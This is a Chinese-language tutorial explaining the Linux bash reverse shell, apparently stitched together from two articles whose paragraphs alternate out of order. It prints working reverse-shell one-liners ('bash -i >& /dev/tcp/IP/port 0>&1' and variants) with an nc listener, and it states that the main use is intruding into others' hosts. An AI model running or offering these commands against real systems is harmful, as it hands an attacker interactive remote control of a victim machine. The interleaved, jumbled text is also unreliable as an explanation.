来自 电脑知识 2019-09-14 22:42 的文章
当前位置: 威尼斯国际官方网站 > 电脑知识 > 正文

威尼斯国际官方网站Linux渗透之反弹Shell命令解析

前言


今天在看spark stream的sample样例的时候看到linux的万金油命令nc。搜索相关的内容突然发现一个很好玩的用处就是反弹shell.下面我们就来讲讲反弹shell

当我们在渗透Linux主机时,反弹一个交互的shell是非常有必要的。在搜索引擎上搜索关键字“Linux 反弹shell”,会出现一大堆相关文章,但是其内容不但雷同,而且都仅仅是告诉我们执行这个命令就可以反弹shell了,却没有一篇文章介绍这些命令究竟是如何实现反弹shell的。既然大牛们懒得科普,那我就只好自己动手了。本文就来探讨一下相关命令实现的原理。

1. 什么是反弹shell

 

简单来说就是A主机可以通过执行B主机上的命令并且把返回值都返回到A上。

Bash

2. 反弹shell的用途


这个反弹shell大部分用途是用来侵入别人的主机。就是因为感觉很厉害的样子,所以才来研究这家伙

这篇文章的起因就是网上给的Bash反弹shell的实现:

3. 反弹shell操作步骤

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

3.1. 在本机开启端口9090

看到这短短的一行代码,正在复习Linux,自我感觉良好的我顿时充满了挫败感,这都是些什么鬼。于是决定一定要搞明白它。

nc -lk 9090 

首先,bash -i是打开一个交互的bash,这个最简单。我们先跳过“>&”和“0>&1”,这两个是本文重点,等会再说。先来说“/dev/tcp/”。

3.2. 在需要被控制的机器上执行如下两种命令中的一种即可

 /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。

bash -i >& /dev/tcp/10.0.0.1/9090 0>&1 

要想了解“>&”和“0>&1”,首先我们要先了解一下Linux文件描述符和重定向。

3.3. 在本机刚才执行nc -lk 9090命令行下面输入需要被控制的主机的命令即可

linux shell下常用的文件描述符是:

威尼斯国际官方网站 1

1.  标准输入   (stdin) :代码为 0 ,使用 < 或 << ; 

4. 原理

2.  标准输出   (stdout):代码为 1 ,使用 > 或 >> ; 

  1. A主机开启9090端口的tcp服务
  2. B主机连接到A主机的9090的tcp服务
  3. A主机通过tcp服务把命令发到B主机
  4. B主机读取命令并且在bash中执行
  5. B主机把执行结果发给A主机

3.  标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>。

这样就可以在A主机中'玩弄'B主机了

很多资料都会告诉我们,2>&1是将标准错误输出合并到标准输出中,但是这四个符号具体要如何理解呢?我刚开始直接将2>看做标准错误输出,将&看做and,将1看做标准输出。这样理解好像也挺对,但是如果是这样的话0>&1又该如何理解呢?

下面重点来了

其实&根本就不是and的意思,学过C/C++的都知道,在这两门语言里,&是取地址符。在这里,我们也可以将它理解为取地址符。

我们看这个操作其实还是蛮简单的,但是我们不能只局限于表面。我们需要去了解它的原理

好了,基本知识说完了,下面我们就探讨一下困扰了我一天的“>&”究竟是什么意思。首先,我在查资料的过程中虽然没有查到“>&”究竟是什么,但是有一个跟它长得很像的符号却被我发现了,那就是“&>”,它和“2>&1”是一个意思,都是将标准错误输出合并到标准输出中。难道“>&”和“&>”之间有什么不为人知的交易?让我们来动手测试一下。

其实nc -lk 9090命令没什么可说的,百度google一搜就出来了。我们今天要去解释的是bash -i >& /dev/tcp/10.0.0.1/9090 0>&1。这条命令在google也没搜出来什么结果。所以只能自己加夜班搞了。

威尼斯国际官方网站 2

inux shell下常用的文件描述符是:

从图片中我们可以看到,在这里">&"和“&>”作用是一样的,都是将标准错误输出定向到标准输出中。

  1. 标准输入 (stdin) :代码为 0 ,使用 < 或 << ;
  2. 标准输出 (stdout):代码为 1 ,使用 > 或 >> ;
  3. 标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>。

既然如此,那么我们就把他俩互换试试看,究竟结果一不一样。

首先我们把这个命令拆解一下

我在虚拟机里执行

bash -i # 这个也不知道说啥  >& # 这条命令 其实就是把stderr也输入到 stdout。它相当于 `> xxx 2>&1`  /dev/tcp/10.0.0.1/9090 # 这个就是连接到10.0.0.1的9090端口  0>&1 # 这个在google百度上查了半天也没搞懂,只能去研究文档  
bash -i >& /dev/tcp/10.0.42.1/1234

其实前面3个命令组合在一起很好理解,就是把这个bash下的所有输出都发送到 10.0.0.1:9090。这个大家可以自己操作一下,去掉后面的 0>&1。

结果如下图所示,虽然命令和结果都在我本机上显示出来了,但实际上命令并不是在本机上输入的,而是只能在虚拟机里面输入,然后命令和结果都在我本机上显示。

我们在命令里面写 2>&1都很好理解,就是把error重定向到stdout。但是0>&1好像不太好理解,我们看下文件描述符

威尼斯国际官方网站 3

威尼斯国际官方网站 4

威尼斯国际官方网站 5

这里看到的是2>&1就是把文件描述符2对应的设备改成了文件描述符1对应的设备。那么同理 0>&1就是把 0对应的设备改成的1对应的设备,那也就是socket。这就表明了 stdin就是从socket中读取数据,然后再执行命令,把bash的命令行返回内容通过stdout发到socket。

我们再执行

其实这些内容都可以在bash的man pages里面找到

bash -i &> /dev/tcp/10.42.0.1/1234

威尼斯国际官方网站 6

效果是一样的,就不上图了。所以由实践可知,“>&”和我们常见的“&>”是一个意思,都是将标准错误输出重定向到标注输出。

文档里面写的很清楚 n<&word 是吧word复制给n, n>&word是吧word复制给n。

好了,一个问题已经解决,下一个就是“0>&1”。我们都知道,标准输入应该是“0<”而不是“0>”,难道这个跟上一个问题样都是同一个命令的不同写法?让我们试一下“0<&1”,看看会发生什么。

所以这里写 0<&1 或者是 0>&1都是可以的,只要把文件描述符1对应的设备复制给文件描述符0就可以了

威尼斯国际官方网站 7

参考文章

威尼斯国际官方网站 8

【编辑推荐】

本文由威尼斯国际官方网站发布于电脑知识,转载请注明出处:威尼斯国际官方网站Linux渗透之反弹Shell命令解析

关键词: